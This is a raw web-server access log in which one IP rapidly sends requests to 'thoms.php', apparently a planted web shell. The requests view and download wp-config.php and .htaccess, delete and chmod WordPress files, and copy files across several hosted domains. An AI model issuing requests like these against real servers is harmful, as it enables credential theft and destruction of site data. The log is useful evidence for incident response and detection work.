45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?del=wp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 17513 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?del=upgrade&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?dl=index.php&p=besth2o.com.tw HTTP/1.1" 200 17520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /besth2o.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?del=wp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=.well-known&p=besth2o.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=.htaccess HTTP/1.1" 200 12730 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Ferror_log&p=besth2o.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Freadme.html&p=besth2o.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=cgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "https://163.245.207.76/besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Flicense.txt&p=besth2o.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=error_log HTTP/1.1" 200 14793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?del=mah.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?del=wp-login.php&p=besth2o.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-mail.php HTTP/1.1" 200 15344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?dl=wp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 17518 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 59196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?del=wp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 11503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?copy=besth2o.com.tw%2F.well-known&p= HTTP/1.1" 200 12052 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-load.php&p=besth2o.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-login.php HTTP/1.1" 200 29025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-trackback.php HTTP/1.1" 200 14099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 13616 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwrapper-global&p= HTTP/1.1" 200 12052 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?del=error_log&p=besth2o.com.tw HTTP/1.1" 200 17514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?dl=locoy.php&p=besth2o.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?dl=wp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 17514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?dl=wp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?chmod=wp-content&p=besth2o.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-activate.php HTTP/1.1" 200 14823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?del=wp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?chmod=wp-load.php&p=besth2o.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 28801 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?del=wp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?chmod=locoy.php&p=besth2o.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?dl=license.txt&p=besth2o.com.tw HTTP/1.1" 200 17505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw&view=readme.html HTTP/1.1" 200 15230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 17507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 14161 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?chmod=upgrade&p=besth2o.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:26 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fupgrade&p= HTTP/1.1" 200 12062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=mah.php&p=besth2o.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=wp-includes&p=besth2o.com.tw HTTP/1.1" 200 17513 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=locoy.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-settings.php HTTP/1.1" 200 19463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fmah.php&p=besth2o.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 11503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=wp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 11502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-content&p= HTTP/1.1" 200 12043 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=readme.html&p=besth2o.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=wp-config.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?dl=wp-load.php&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=wp-admin&p=besth2o.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=segment-sample&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-config.php HTTP/1.1" 200 13716 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 11501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=wp-load.php&p=besth2o.com.tw HTTP/1.1" 200 17507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?dl=xmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=wp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 13272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=index.php&p=besth2o.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fxmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?dl=wp-config.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=segment-sample&p=besth2o.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2F.htaccess&p=besth2o.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?dl=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=wp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 11502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=cgi-bin&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=license.txt&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:27 -0400] "GET /thoms.php?del=wp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?dl=wp-login.php&p=besth2o.com.tw HTTP/1.1" 200 17510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?del=.well-known&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?dl=readme.html&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?del=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-signup.php HTTP/1.1" 200 22505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?del=wp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 17507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?del=xmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 17508 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bft.com.tw HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=cgi-bin HTTP/1.1" 200 11309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
